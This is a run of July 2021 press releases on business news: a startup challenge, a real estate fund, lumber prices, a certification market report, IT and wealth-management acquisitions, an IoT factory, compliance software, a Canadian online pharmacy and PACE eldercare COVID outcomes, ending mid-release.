For Lohmann, startup promotion is not an end in itself; after all, it allows the company to build a network of future suppliers, customers or cooperation partners. But the joint project is also worthwhile for Brightlands Chemelot Campus: "Top companies like Lohmann, which make their expertise, business network and market knowledge available to the startups, help us select the right candidates and develop them into sustainable companies," says Hugo Delissen (Business Development Manager Startups), who oversees the project on the Brightlands side. To prepare tomorrow's innovators for their market maturity, Lohmann and Brightlands Chemelot Campus provide free premises. Those who make it to the "final round" of the Challenge are allowed to start their work at Brightlands Chemelot Campus, the internationally recognized science and innovation hub in Geleen where leading scientists, entrepreneurs, funding experts and students collaborate to speed up the market introduction of breakthrough chemistry and materials innovations.

Startups benefit from close networking between Brightlands and Lohmann

Brightlands is a breeding ground with various material manufacturers, educational and knowledge institutions in the Geleen area. These include RWTH Aachen University, Fraunhofer Institute, Maastricht University, Chemelot Innovation and Learning Labs (CHILL) and Eindhoven University of Technology. At the campus industry and academia work closely together, which makes it an unique and vibrant campus community in the heart of Europe. Lohmann also has excellent networks beyond its own industry and has decades of experience in the fields of adhesives, adhesion, lamination and much more. The business know-how imparted to the startups in the Lohmann Brightlands Startup Challenge is also extensive. The recruitment of investors, credibility training and training on the protection of intellectual property are just a few of the points. Neither Lohmann nor Brightlands Chemelot Campus have any doubts that the joint project will be a success. In any case, the anticipation is great, as Evert Smit aptly summarizes: "Lohmann is preparing for an exciting journey."

About Lohmann

Founded in 1851 and specializing in high-end adhesive solutions, the company currently employs around 1,800 people and has been managed by Dr. Jorg Pohlman and Dr. Carsten Herzhoff since 2019. Lohmann is active at 25 international locations and with exclusive sales partners in over 50 countries around the globe. Lohmann's portfolio includes innovative adhesive solutions such as double-sided adhesive tapes, high-tech die-cut parts and reactive adhesive and closure systems.

About Brightlands Chemelot Campus

Brightlands Chemelot Campus is Europe's leading location for companies, research and knowledge institutes in the field of chemistry and materials, located in Geleen, the Netherlands, with Belgium, Germany, France and Luxembourg just around the corner. In addition to cutting-edge research and development in the field of high-performance materials, sustainable processes and biomedical solutions, Brightlands' portfolio also includes targeted support for industry-specific startup companies. The R&D campus is considered number 1 in Europe for sustainable innovations.

Press contact

Erik Martin Communication

Universitatsstr. 3

D-56070 Koblenz

0179 904 7687

[email protected]

Photo - https://mma.prnewswire.com/media/1573977/The_Lohmann_Brightlands_Startup_Challenge.jpg

Logo - https://mma.prnewswire.com/media/1308729/Lohmann_Logo.jpg





SOURCE Lohmann GmbH & Co. KG
SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- The Roxborough Group, LLC, a private real estate investment firm, announces the final closing of its latest value-add fund, Roxborough Fund III, L.P. with capital commitments of just over $518 million, which is above the fund's original hard cap. Fund III's institutional investors include endowments, corporate pensions, public pensions, asset management firms, consultants and family offices.

Marc Perrin, Founder and Managing Partner of Roxborough

Roxborough has a track record of investing in a myriad of real estate asset classes, with a primary focus on industrial, office, rental residential and hospitality related properties. The firm employs a disciplined top-down approach to its internal investment themes, mitigating risk through sector and market diversification. Fund III will rely on the firm's deep relationships and continue the successful value-add strategy employed in previous funds.

"We are thankful to continue our partnership with all of our previous investors and excited to welcome a broad set of new investor/partners," said Marc Perrin, founder and managing partner of Roxborough. "We appreciate the confidence they have placed in our strategy and the team. We will remain focused on investing in dynamic submarkets fueled by sustainable economic growth and outsized demand drivers."

Metric Point Capital ("Metric Point") served as the exclusive placement agent and advisor for the fundraise, while Goodwin Procter LLP provided legal counsel.

"Roxborough's thematic approach across submarkets and property types, coupled with its attention to detail and risk management discipline resonated with investors," said Brendan Edmonds, partner at Metric Point. Perrin added, "The Metric Point team provided us with the support and advice we needed during the fundraise process and thoughtfully navigated a challenging fundraising environment during a pandemic."

About The Roxborough Group

The Roxborough Group is a private real estate investment firm founded in 2013. Headquartered in San Francisco, California, the firm has a broad mandate to invest in all real estate asset classes, both directly and with operating partners. Roxborough focuses on opportunistic, value-add and transitional real estate assets, high-yielding real estate debt, real estate-related operating businesses, as well as high quality, lower risk and longer duration real estate investments. For more information, please visit www.theroxboroughgroup.com.

About Metric Point Capital (Member FINRA and SIPC)

Metric Point is a private capital advisory firm specializing in raising institutional capital for alternative investment managers.

Media Contact:

Genevieve Anton

949-395-5489

[email protected]

SOURCE The Roxborough Group LLC

Related Links

https://www.theroxboroughgroup.com


The US lumber market was unusually strong during the winter and spring, with prices reaching all-time highs in May

STOCKHOLM, July 14, 2021 /PRNewswire/ -- Lumber prices in the US have taken off to never-before reached levels. In May 2021, average prices were more than three times as high as 12 months earlier. For example, a standard stud dimension (2 x 4 inches of pine) in the US South was priced at $270/m3 (actual volume, FOB sawmill) in May last year. This year, the same dimension sold for $800/m3.

The unprecedented market condition was triggered by several factors, including increased housing starts in the US (up almost 40% in a year), continued high wood demand in the repair and remodeling sector, low lumber inventories throughout the supply chain, labor shortages in the transportation and processing sector, and limited expansion of lumber production the first few months of 2021, according to the Wood Resource Quarterly. The buying frenzy was also increased by the uncertainty around how the US lumber market will develop in the second half of the year, further inflaming wood buyers to secure building materials early to ensure they would have sufficient wood products for the fall.

During the first three months of 2021, lumber production increased by 3.0% y-o-y in Canada (predominantly in British Columbia) and 1.3% in the US, according to the WWPA. Demand for lumber in the US was high, but sawmill production was constrained by the wet weather that interrupted log flows from the forest to the mills and the lack of labor throughout the entire supply chain.

Lumber imports to the US were up by 15% y-o-y during the four first months of 2021. Canada continued to be the dominant supplier but lost market shares. Overseas lumber supply to the US reached a record 15% of the total import volume in early 2021, predominantly driven by higher shipments from Germany, Austria, and Romania. Just over a year ago, overseas lumber from Europe and Latin America accounted for only 8% of total imports.

Although lumber exports from Canada picked up in the second half of 2020, it was the fourth consecutive year with y-o-y declines. The total export volume fell to 26 million m3, down from over 33 million m3 just five years ago, mainly due to limited log supply in the province of British Columbia. Canadian shipments to the strong US market were up slightly from 2019, while the sales to all other markets fell. In particular, lumber volumes to China shrunk in 2020, down 33% from the previous year. The good news for Canadian lumber exporters has been the dramatic increase in the values of the shipped goods over the past year, outlines the WRQ in its latest report. Average export prices for lumber destined for the US market were more than three times as high in April 2021 as in the same month in 2020.

Are you interested in the worldwide wood products market? The Wood Resource Quarterly (WRQ) is a 70-page report established in 1988 and has subscribers in over 30 countries. The publication tracks prices for sawlog, pulpwood, lumber, and pellets and reports on trade and wood market developments in most key regions worldwide. For more insights on the latest international forest product market trends, please go to www.WoodPrices.com

CONTACT:

Wood Resources International LLC

Hakan Ekstrom

[email protected]

www.woodprices.com

This information was brought to you by Cision http://news.cision.com

https://news.cision.com/wood-resources-international-llc/r/the-us-lumber-market-was-unusually-strong-during-the-winter-and-spring--with-prices-reaching-all-tim,c3385258

The following files are available for download:

https://mb.cision.com/Main/1902/3385258/1445122.pdf WRI - Market Insights 2021 Global Lumber Markets June 2021

SOURCE Wood Resources International LLC
DUBLIN, July 14, 2021 /PRNewswire/ -- The "Global Management System Certification Market with COVID-19 Impact Analysis by Certification Type (Product Certification and Management System Certification), Service Type, Verticals, and Region - Forecast to 2026" report has been added to ResearchAndMarkets.com's offering.

The management system certification market is expected to grow at a CAGR of 5.3% from USD 25.1 billion in 2021 to USD 32.5 billion in 2026.

Management system certification market for certification and verification services is expected to grow at highest CAGR during the forecast period



The market for certification and verification services is expected to grow at the highest CAGR during the forecast period. Certification services function as an indicator of the safety, reliability, and quality of products. The products without certification can be used for a short period owing to their cost-effective manufacturing. Uncertified products are usually developed from sub-standard components expected to fail the testing of the safety and quality standards.



Products that meet the certification requirements are safe to use. They are tested to meet the highest standards for safeguarding the health and safety of users. Certification services are available to all industries, ranging from small consumer electronics to aerospace. For instance, certification services used for agricultural products and food items check the quality of seeds and crops. The seed certification includes the seed source verifications, field inspections, seed quality analysis, seed genetic purity evaluations, and seed treatments, along with their bagging and tagging, as well as issuing relevant certificates.



Verification services check the uniformity, completeness, and accuracy of products in terms of efficiency and performance at each stage and between each stage of the product development lifecycle. They evaluate products during each production phase to ensure that they meet the compliances formulated in the previous phases. For instance, Intertek provides various verification services, including document verifications, initial production checks, in-production checks, and import and export verifications.



Management system certification market for Consumer Goods and Retail accounted for the largest share in 2020



Day by day, consumer goods are becoming highly complex with the increasing product variety and changing consumer demands, making it necessary for the manufacturing companies to get their products and services certified. The demand for consumer products across the world is extensively driven by buyers' trust in the products they purchase.



It is important to gain customer trust by ensuring the brand's quality, safety, and sustainability. This creates a real point of difference for marketed products in today's commoditized, connected world. An extensive range of players operating in the testing, inspection, and certification ecosystem offer certification services to companies from the consumer goods and retail industries. Certification service providers offer a complete range of services to manufacturers, importers, exporters, and retailers of consumer products, which helps them enhance the quality, value, and acceptability of their products.



A few TIC services such as laboratory testing, product inspection and consulting, process assessment, and technical assistance are offered to consumer goods industries across several countries. Adoption of such services helps organizations to reduce business-related risks, improve plant efficiency, and adhere to contractual or regulatory requirements throughout the existing supply chain and span across a wide range of products, such as cosmetics and personal care products, textiles, footwear, toys, hardware, household products, formulated products, and electrical and electronic goods.



Key certification services applicable across these products are Registration, Evaluation, Authorisation and Restriction of Chemicals (REACH); chemical data management system certification; Zhaga certification; BRC certification; ISO 9001; CE certification; and GC mark; among many others. The product and management system certification helps manufacturers build a trust factor among consumers, which, in turn, enables product acceptance and improves plant efficiency.



APAC is expected to hold the largest market for Management system certification during the forecast period



The Management system certification market for APAC is expected to hold the largest market share. APAC is projected to be the fastest-growing market for management system certification during the forecast period. With three of the top 10 largest economies in the world-China, India, and Japan-the Asia Pacific region presents a high potential for the growth of the market. In this report, the market in the Asia Pacific mainly constitutes Japan, China, India, South Korea, and Rest of APAC. Australia, Singapore, Thailand, and Indonesia are the main countries studied and categorized under Rest of APAC.



Some key OEMs and manufacturers of semiconductor devices such as STMicroelectronics, Huawei and Infineon Technologies and consumer goods and electronic products are based in APAC. The growing demand for management system certification is attributed to the increasing number of manufacturers who constantly focus on upgrading the existing and developing next-generation telecommunication devices. Furthermore, increasing penetration of wireless communication technologies is boosting demand for product and management system certifications from the IT & telecommunications sector.



Key Topics Covered:

1 Introduction



2 Research Methodology

3 Executive Summary

3.1 Realistic Scenario

3.2 Optimistic Scenario (Post-Covid-19)

3.3 Pessimistic Scenario (Post-Covid-19)



4 Premium Insights

4.1 Rising Demand for Safe and Reliable Products Driving the Management System Certification Market

4.2 Management System Certification Market, by Service Type

4.3 Management System Certification Market, by Application

4.4 Management System Certification Market In North America, by Application & Country (2021)

4.5 Management System Certification Market, by Certification Type

4.6 Management System Certification Market, by Region

5 Market Overview

5.1 Introduction

5.2 Market Dynamics

5.2.1 Drivers

5.2.1.1 Growing investments in latest technologies such as Ai, Ml, cloud computing, and big data

5.2.1.2 Increasing focus of manufacturing companies to improve customer retention

5.2.1.3 Growing illicit trade of forged and pirated goods

5.2.2 Restraints

5.2.2.1 Varied standards and regulations across countries

5.2.3 Opportunities

5.2.3.1 Introduction of digital certification services after outbreak of Covid-19

5.2.4 Challenges

5.2.4.1 Challenges in providing certification services for evolving technologies for smaller market players

5.3 Impact of Covid-19 On Management System Certification Market

5.3.1 Impact On Value Chain

5.3.2 Impact On Market

5.3.3 Parent Market Trends

5.3.3.1 Impact analysis of emerging technologies on certification market

5.4 Average Selling Price (Asp) Trends

5.5 Management System Certification Market: Patent Analysis

5.6 Trade Analysis

5.7 List of Key Players

5.8 Tariff and Regulatory Landscape

5.9 Management System Certification Ecosystem

5.10 Management System Certification Market: Porter's Five forces Analysis

5.10.1 Threat of New Entrants

5.10.2 Threat of Substitutes

5.10.3 Bargaining Power of Suppliers

5.10.4 Bargaining Power of Buyers

5.10.5 Degree of Competition

5.11 Case Studies

5.11.1 TUV SUD

5.11.2 Intertek

6 Management System Certification Market, by Certification Type

6.1 Introduction

6.2 Product Certification

6.2.1 Product Certification Enables Increased Marketability of Products

6.3 System Certification

6.3.1 System Certification Helps Business Organizations In Achieving their Objectives With Minimized Risks

7 Management System Certification Market, by Service Type

7.1 Introduction

7.2 Certification and Verification

7.2.1 Mandatory Certification Services for Agricultural Products Drive Requirement for Certification and Verification Services

7.3 Training and Business Assurance

7.3.1 Assurance Services Provide Reliability and Operational Guarantee To Manufacturers

8 Management System Certification Market, by Application

8.1 Introduction

8.2 Consumer Goods and Retail

8.2.1 Increased Complexity of Consumer Products Drives Demand for Certification Services Globally

8.3 Agriculture and Food

8.3.1 Stringent Food Safety Norms and Surged Demand for Quality Food Products Are Met Through Certification Services

8.4 Construction and Infrastructure

8.4.1 Surged Requirement for High-Quality Infrastructure and Rapid Advancements In Building Infrastructure Modelling Create Opportunity for Certification Service Providers

8.5 Energy and Power

8.5.1 Escalated Need for Energy Worldwide and High Adoption of Emerging Technologies In Energy Generation Create Enormous Opportunities for Certification Services

8.6 Industrial and Manufacturing

8.6.1 Accelerated Requirement for Safe and Quality Products Stimulate Growth of Market for Certification Services

8.7 Medical and Life Sciences

8.7.1 Escalated Need for High-Quality Medical Devices To Minimize Patient Safety Risks Will Boost Demand for Certification Services

8.8 Oil & Gas and Petroleum

8.8.1 Immense Opportunity With Development of Enhanced Service offerings for Oil & Gas and Petroleum Industry Players Will Foster Management System Certification Market Growth

8.9 Automotive

8.9.1 Huge Demand for High-Quality Automobile Parts Pushes Market Growth

8.1 Aerospace

8.10.1 Continuous Evolution of Technology In Aerospace Industry Supports Market Growth for Certification Services

8.11 Marine

8.11.1 Stringent Imo Regulations Propel Growth of Market for Certification Services Related To Marine Equipment

8.12 It and Telecom

8.12.1 Mandatory Certification of Telecommunication Equipment Promotes Market Growth

9 Geographic Analysis

10 Competitive Landscape

10.1 Overview

10.2 Market Share and Ranking Analysis of Key Companies, 2020

10.3 Five-Year Revenue Analysis of Major Players In Management System Certification Market

10.4 Company Evaluation Matrix, 2020

10.4.1 Star

10.4.2 Emerging Leader

10.4.3 Pervasive

10.4.4 Participant

10.5 Competitive Benchmarking

10.5.1 Strength of Service Portfolio (15 Companies)

10.5.2 Business Strategy Excellence (15 Companies)

10.6 Startup/SME Evaluation Matrix, 2020

10.6.1 Progressive Company

10.6.2 Responsive Company

10.6.3 Dynamic Company

10.6.4 Starting Block

10.7 Competitive Situations and Trends

10.7.1 Deals

11 Company Profiles

11.1 Introduction

11.2 Key Players

11.2.1 SGS Group

11.2.2 Bureau Veritas

11.2.3 Intertek

11.2.4 TUV Rheinland

11.2.5 Dekra SE

11.2.6 Eurofins Scientific

11.2.7 TUV SUD

11.2.8 DNV GL

11.2.9 Applus+

11.2.10 ALS Limited

11.2.11 Lloyd's Register Group Limited

11.2.12 British Standards Institution (BSI)

11.2.13 Rina S.P.A.

11.2.14 Al Borj Facility Management

11.2.15 SIS Certifications

11.2.16 Finecert

11.2.17 United Registrar of Systems (URS)

11.2.18 LL-C (Certification)

11.2.19 GCL International

11.2.20 Aurion International

11.2.21 TUV Nord Group

11.2.22 IR Class

11.2.23 DQS

11.2.24 Socotec

11.2.25 ASTM International

12 Appendix

For more information about this report visit https://www.researchandmarkets.com/r/xphmqo

Media Contact:

Research and Markets

Laura Wood, Senior Manager

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SOURCE Research and Markets

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FOXBOROUGH, Mass., July 14, 2021 /PRNewswire/ -- Thrive , a premier provider of NextGen Managed Services, announces today that it has acquired S7 Technology Group , an information technology services provider for the financial industry. This transaction will greatly enhance S7's clientele by providing availability to Thrive's innovative Cyber Security, Microsoft Digital Transformation and Hybrid Cloud offerings built upon their ServiceNow automation platform.

S7 Technology Group, headquartered in Midtown Manhattan, is an SSAE 18- audited, value-driven technology firm that provides turnkey, full-service IT solutions and ongoing support to financial institutions. Its comprehensive end-to-end framework, Azure Partner status, and laser focus on the Private Equity support industry provide a competitive edge for financial firms seeking to maximize their technology return on investment.

"Adding S7 and their talented management team to the Thrive family signals our continued commitment to enhance our financial services practice, particularly in New York," said Rob Stephenson, CEO of Thrive. "Thrive's Cyber Security and advanced Microsoft Digital Transformation solutions, designed for financial customers, reinforce our mission to support the strategic technology needs of Private Equity firms with a unique blend of managed services, portfolio engagement services , and consulting to ensure security, compliance and performance."

"For more than a decade, S7 Technology Group has enabled financial businesses to leverage the performance, security, and scalability previously only afforded to large enterprises and we're thrilled to be joining the Thrive team," said Scot Guido, CEO of S7 Technology Group. "We're incredibly impressed by the level of automation and operational efficiencies of Thrive's ServiceNow platform and the enhanced Cyber Security capabilities of their 24x7 Security Operations Center (SOC). Our clients will benefit greatly from our new partnership with Thrive."

Scot Guido, CEO, Michael Bilenkis, CTO and Fred Bruno, COO, will all assume senior leadership roles in New York, home to Thrive's largest office. The S7 transaction marks the 12th acquisition for Thrive since 2016.

For more information, please click here .

About Thrive

Thrive is a leading provider of NextGen managed services and cyber security designed to drive successful business outcomes through application availability, enablement and optimization. The company's Thrive5 Methodology utilizes a unique combination of its Application Performance Platform and strategic services to ensure each business takes advantage of technology that enables peak performance, scale, and the highest level of security. For more information, thrivenextgen.com .

Thrive: LinkedIn, Twitter, Facebook, YouTube and Instagram

MEDIA CONTACT:

Stephanie Farrell

Director of Corporate Marketing

617-952-0289 | [email protected]

About S7 Technology Group

S7 is a technology solutions provider to companies in the financial services industry. S7 provides the resources and expertise of an IT department, but without the management, overhead, and complexities of having one in-house. Whether you are in the initial stage of a build-out or an established business, S7 will be your single point of contact and will provide you with a complete technology solution that will allow you to operate efficiently, while giving your clients and investors the information they need to trust in the stability and security of your IT solution.

Using a unique, hands-on approach, S7 tailors their services to meet exact client needs and requirements. S7 provides complete, end-to-end technology services including assessment, planning, design, clean-up of current systems, network reconfiguration, project management and deployment, contract negotiations, disaster recovery, business continuity, systems administration, installation and maintenance, and 24 x 7 x 365 support. For more information, visit s7tech.com .

SOURCE Thrive

Related Links

http://thrivenextgen.com


Holbein joins Tiedemann Constantia as part of Tiedemann's broader international growth strategy

NEW YORK, ZURICH and LONDON, July 14, 2021 /PRNewswire/ -- Tiedemann Constantia, the international operations of Tiedemann, one of the US's largest independent investment and wealth advisors for high-net-worth families, trusts, foundations and endowments, announced today the acquisition of London-based multi-family office Holbein Partners LLP, subject to FCA approval.

The acquisition will combine the expertise of Holbein's senior partners and team with the international investment resources and impact credentials of Tiedemann Advisors in the US and Tiedemann Constantia internationally. The partnership will afford Tiedemann clients broader cross-border capabilities, deeper experience of working with family offices and additional expertise in European investment opportunities. Following the acquisition, Tiedemann Advisors and Tiedemann Constantia, with European offices in Zurich, Geneva and London, together will oversee approximately $30 billion of client assets.

Holbein's Managing Partners, Steven Blakey, Mark Cunningham and Andrew Rodger, bring decades of experience across international capital markets, corporate finance and wealth management and will become Partners in the combined business. Mark Cunningham will continue to lead the Strategic Advisory business and Andrew Rodger will join Tiedemann Constantia's Board. Robert Weeber will continue to lead the international business as CEO of Tiedemann Constantia.

The acquisition follows the recent hire of Jed Emerson as Tiedemann's Global Lead of Impact Investing, as well as the additions of Charles d'Oncieu as head of the firm's new office in Geneva and Sylvie Golay as Chief Strategist for the international business.

Robert Weeber, Founder and CEO of Tiedemann Constantia said: "We are delighted to formally welcome the Holbein team on-board. Our complementary offerings, deep investment expertise and shared culture of excellence will better position us to assist our clients with their multi-jurisdictional wealth management needs for generations to come. Our industry is one that continues to undergo considerable consolidation, as clients expect greater transparency, control and bespoke solutions to deliver a truly unique proposition. With the acquisition of Holbein, we believe we are strongly placed to capitalise on this trend."

Mike Tiedemann, Founder and CEO of Tiedemann Advisors said: "We're excited to bring on an experienced and well-respected team. We believe the combination will bring enhanced opportunities and solutions for all our clients' wealth management needs, and in particular, we look forward to further integrating our impact offering with our legacy and new European families."

Steven Blakey, Co-founder and Managing Partner of Holbein said: "This is a new chapter for Holbein and one that we believe will add significant advantages to our current client base, providing them with a global reach of investment opportunities and access to Tiedemann's excellent impact investing offering, which has shown its importance to portfolios over the past several years. We look forward to working with Robert, Mike and the team and are excited for the new opportunities this acquisition will bring."

Financial details of the transaction are not disclosed.



Tiedemann Advisors is an independent investment and wealth advisor for high-net-worth individuals, family offices, trusts, foundations and endowments. Founded in 1999, Tiedemann Advisors has nine offices across the US and provides trust services through Tiedemann Trust Company, a state-chartered trust company located in Wilmington, Delaware. Tiedemann's international operations, Tiedemann Constantia, is headquartered in Zurich Switzerland. Together, Tiedemann Constantia, Tiedemann Advisors and Tiedemann Trust Company oversee approximately $25 billion in assets under advisement with over $3.5 billion in impact investments, as of January 1, 2021.

To learn more, visit www.tiedemannadvisors.com and www.tiedemannconstantia.com

Holbein Partners LLP is an independent investment manager and wealth advisor for high-net-worth individuals, family offices, trusts, foundations and endowments. Holbein was founded in 2010 and is based in London.

To learn more, visit www.holbeinpartners.com

SOURCE Tiedemann Constantia
With the future of energy mostly oriented towards being electric, there arises an obligatory responsibility to maximize its usage efficiency. Doing so is next to impossible, with current devices and equipment. IoTronix has however spearheaded the development of robust IoT devices that are efficient, secure and far more reliable than the conventional devices of today. These IoT-enabled devices, besides being highly energy conservant, can also be controlled with just a click on the smartphone, from anywhere on the globe. IoTronix's services run deeper than just connecting devices. With its innovative business approach set on hardware-as-a-service (HAAS), it has revolutionized the futuristic idea of automated smart homes and smart hotels into a reality. Addressing the core challenges of the automation industry still remains the driving force of the company. Offering security, privacy and reliability like no other, IoTronix has cemented its place as one of the nation's leading IoT service provider with its proven capabilities. A step ahead of others in ensuring user security, IoTronix has, in the beginning of 2020, brought forth its 4th generation of IoT devices with the world's first 'Cloudless Technology'; a concept enforcing ultra-privacy by not storing any user data on the cloud, thus making the system foolproof against security threats.

Dedicated to the nation's mantra of economic revitalization through 'Make in India' and 'Aatmanirbhar Bharat', IoTronix has taken its most ambitious and boldest step by establishing the largest IoT manufacturing facility in the country. The facility was inaugurated on 21st June, 2021 in the presence of Shri Mukut Bihari Verma, Honorable Cabinet Minister, Government of Uttar Pradesh.Set deep into the rural areas at the Indo-Nepal border, this massively sprawling campus of over a hundred thousand square feet is a hub of industry leading technologies. As a symbol of commitment by IoTronix towards rural development, this facility is expected to create thousands of jobs over the next few years, thus supporting the local economy and local infrastructure.

By providing internship to the schools and colleges, IoTronix aims at training students in industry-demanding skills and technologies for the future. IoTronix is also poised on driving the entrepreneurial development in rural areas by encouraging more businesses, creating more jobs and thereby assisting in overall national economic growth and development.

About IoTronix:

Helping hotels adopt smart hotel technology at affordable cost. IoTronix presents world's most secure and affordable smart hotel technology. IoTronix cloudless technology keeps user data private and offers most reliable smart hotel technology at fraction of the cost. With IoTronix, guests can control hotel room appliances through our easy to use app on their Smartphone by scanning provided QR code. Proudly Made in India for the world!

Links

Photo: https://mma.prnewswire.com/media/1573729/IoTronix_inaugration_IoT.jpg

Media Contact :

Santosh Verma

[email protected]

+91-9794593605

Founder & CEO, IoTronix

SOURCE IoTronix
NEW YORK, July 14, 2021 /PRNewswire/ -- True Office Learning , the creator of groundbreaking adaptive e-learning technology that measurably improves performance in organizations around the world, announced today that it will collaborate with informed360, the creator of automated, connected and simplified ethics and compliance solutions. Building on its mission to change compliance for good through data and automation, True Office Learning's Scholar training ecosystem seamlessly integrates with informed360's Dynamic Disclosures to give clients the ability to request disclosures in the moment when employees are learning about important concepts that may require disclosures or additional approvals.

Dynamic Disclosures allows companies to simplify and automate every step of the disclosure process. This automation, combined with the potential to embed in Scholar training courses, makes compliance teams more productive, ensuring that the right disclosures get to the right employee, and then go to the right decision maker at the right time. Employees are more engaged, allowing them to comply with company policies while receiving faster and more consistent decisions. Improved data analytics support more informed decisions while reducing risk and the likelihood of noncompliance.

True Office Learning's Scholar training ecosystem seamlessly integrates with informed360's Dynamic Disclosures. Tweet this

"Companies are quickly realizing that manual compliance processes just don't cut it in today's world," said True Office Learning CEO Neha Gupta. "Between regulatory scrutiny, employee and public demand for transparency, and organizational drive for efficiency, compliance teams must be in a position to have defensible, modern programs that produce data and aid in risk mitigation. Helping our customers drive better outcomes by providing visibility into hindsight and predictive compliance is the final frontier, and we look forward to bringing this game-changing technology to the markets we serve. We have long held that data and automation is the future of compliance programs, and this relationship with informed360 is a natural continuation of that mission."

"informed360 makes it easy for employees to disclose and even easier for compliance teams to track and manage disclosure risks across their organization," said Andrew Neblett, co-founder and CEO of informed360. "Through this relationship, we now have the ability to tie the disclosure process with training. This drives a higher-level engagement with employees and reinforces compliance with company policies."

Dynamic Disclosures can be seamlessly integrated with Scholar courses and delivered to all learners or to specific individuals that match certain roles or demographic criteria. The disclosure data captured is automatically sent to predetermined recipients or auto-approved workflows to manage and respond to cases with greater efficiency, speed and transparency. The informed360 software tracks response times, time to resolution and various other metrics that help compliance teams track not only disclosure patterns, but also the process workflow and outcomes.

Dynamic Disclosures and Scholar can be seen in action at www.trueofficelearning.com/request-demo . To learn more about True Office Learning and informed360 and their additional compliance and ethics solutions, visit www.trueofficelearning.com and www.informed360.com .

About informed360

informed360 was created by experienced compliance and technology professionals to address the increasing expectations and requirements of today's ethics and compliance programs. The company delivers data-driven cloud-based technology solutions in a flexible and intuitive platform for simplifying ethics and compliance programs. The platform's device-friendly design aligns core compliance program activities and third-party interfaces with the common elements of an effective program. The result is an advanced technology solution that provides organizations with greater program visibility, increased productivity and measurable performance.

About True Office Learning

Driving elevated employee performance for more than 300 leading organizations, True Office Learning is the creator of award-winning adaptive learning and behavioral intelligence technology for enterprises.

Its cloud-based, platform-independent software transforms boring, passive training into active, learn-by-doing digital experiences that yield previously immeasurable behavioral insight and predictive analytics for the organization. With an unwavering focus on the human element and quantifiable efficacy to drive better business outcomes, True Office Learning builds better businesses by helping employees be their best selves.

True Office Learning is based in New York City.

SOURCE True Office Learning
VICTORIA, BC, July 14, 2021 /PRNewswire/ -- Just over 2 years ago, a US CDC report indicated that more than 87% of adults 65+ take at least one prescription medication per month. In many instances, it is a necessity for them to take their medication, and they'll need to fill their prescriptions regularly. Those who have medications that aren't expensive are fortunate, but the list of medications covered under Medicare Part D continues to shrink. The report indicated further that 40% of individuals aged 65+ take five or more medications each month, and it's these folks who will consider ordering medication online from Canada Pharmacy.

Canada Pharmacy

Prescription drug affordability is a leading topic for many people in the US these days when it comes to healthcare, due to the increasing number of people who have difficulty paying for their medications. An excellent gauge for this claim is in the records for abandoned prescriptions - prescriptions that are written but never filled by the patient. Once prescription costs start to reach into the hundreds of dollars the abandonment rate increases exponentially. More than half of prescriptions costing $500 or more are abandoned.

The question then becomes why these medications are so expensive to begin with, especially when it's possible to order medication online from Canada and receive the same products for less. This is because the USA does not regulate prescription drug prices the way other countries do, and drug makers with patents on drugs are able to set prices freely. The role of middlemen in the chain between the maker and the end user's pharmacy plays a significant role too.

If you find yourself asking similar questions regarding the cost of medication, an online pharmacy in Canada the serves US customers may be the exact solution you need. More than half of respondents to a recent survey said they get better drug prices and savings from Canada. The average savings were around $200 a month with just a little more than a third of the respondents save between $300 to $900 a month. Individuals prescribed expensive medication will be extremely pleased to have a licensed online pharmacy like Canada Pharmacy as their alternative.

This pharmacy is CIPA certified (Canadian International Pharmacy Association) and that's what US customers will want to see when considering any online pharmacy in Canada.

About the Company

Canada Pharmacy is a Canadian online pharmacy among those recommended for Americans who shop at a pharmacy in Canada to save money on medication. Medications are sourced in a way that produces the best prices on prescription medication from Canada. All orders require a prescription and are dispensed by a licensed pharmacist, in the same way it would be with any pharmacy in America. Pay less when you order drugs online from Canada.

Contact Canada Pharmacy:

General Inquiries:

[email protected]

https://www.canadapharmacy.com

Toll Free: 1-800-891-0844

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SOURCE Canada Pharmacy
According to UC Berkeley , "By rapidly transforming its care model, WelbeHealth had exceptional results: as COVID-19 cases rose across the country  and in particular within nursing home populations  WelbeHealth did not have a single COVID-19 death during the first 8 months of the pandemic. The first WelbeHealth loss from COVID-19 occurred on November 21, 2020 and only 10 WelbeHealth participants died of COVID-19 since the beginning of the pandemic."

READ THE STORY BEHIND WELBEHEALTH'S RAPID ADAPTATION THAT SAVED LIVES.

Key findings:

WelbeHealth and the PACE community overall had lower death rates than nursing homes; the national PACE COVID-19 death rate was 3.8%, nearly one-third the 11.8% death rate in nursing homes. WelbeHealth calculated a death rate of 2.4%.

WelbeHealth acted early and decisively to minimize exposure with an Incident Command response strategy, dispersing tablets for telehealth visits, PPE, thermometers, food, medication, and other essentials into participants' homes, and providing nearly all care remotely, which proved effective.

PACE's capitated payment model moves the risk from payor to care provider, aligning incentives and encouraging innovation and efficiency in keeping patients well.

Technology provided an important amplification to PACE's model of care -- it allowed for regular check-ins and informed decision-making on care needs. However, the social aspect of the PACE day center cannot be replaced by technology, and it is clear that in-person visits are vital.

With America's senior citizen population set to double by 2040, the demand for long-term care will skyrocket. The pandemic underscored that work must begin now to meet the needs of present and future vulnerable elders.

Existing home and community-based services (HCBS) such as PACE demonstrated profound success during the pandemic leading to fresh momentum among policymakers to expand these options further.

PACE's person-to-person, fully integrated approach maintains the participant's highest level of independence and quality of life[i]; PACE participants experience an 80% drop in rates of depression after joining.[ii] At a time when America is searching for a better way forward in eldercare, PACE is a proven approach for this vulnerable group.

"While PACE has a 45-year track record of success, it remains optional in Medicaid while nursing home benefits are required  it's time for every vulnerable elder in the country to have access to this gold standard of long-term care," said Elizabeth Carty, Chief Regulatory Affairs Officer of WelbeHealth.

Many PACE participants reside in medically underserved areas like San Joaquin County, California, where WelbeHealth's creative problem-solving and speed to action kept seniors safe in their homes when resources for the elderly were relatively scarce.

"As other healthcare organizations were assessing the potential impact and spread of the pandemic, the WelbeHealth team had already taken its crisis response to the next level, " said Amy Shin, former CEO of Health Plan of San Joaquin. "I was impressed with how nimbly this team charted out a plan not only to keep seniors safe and vaccinated but to vaccinate the community as well. This study's findings should alert legislators that this style of home and community-based services is the ideal model of care for frail seniors."



What is PACE?

PACE (Program of All-Inclusive Care for the Elderly) serves low-income seniors who meet their state requirement for nursing home level care allowing them to live independently in their own homes and communities while receiving fully coordinated medical and dental care, physical and occupational therapy, transportation, meals, day programs, home care assistance and more, managed by an 11-person integrated care team. The "one-stop-shop" PACE day centers are the hub of the program, offering seniors a pleasant place to receive care, socialize and enjoy meals within a state-of-the-art facility.

About WelbeHealth

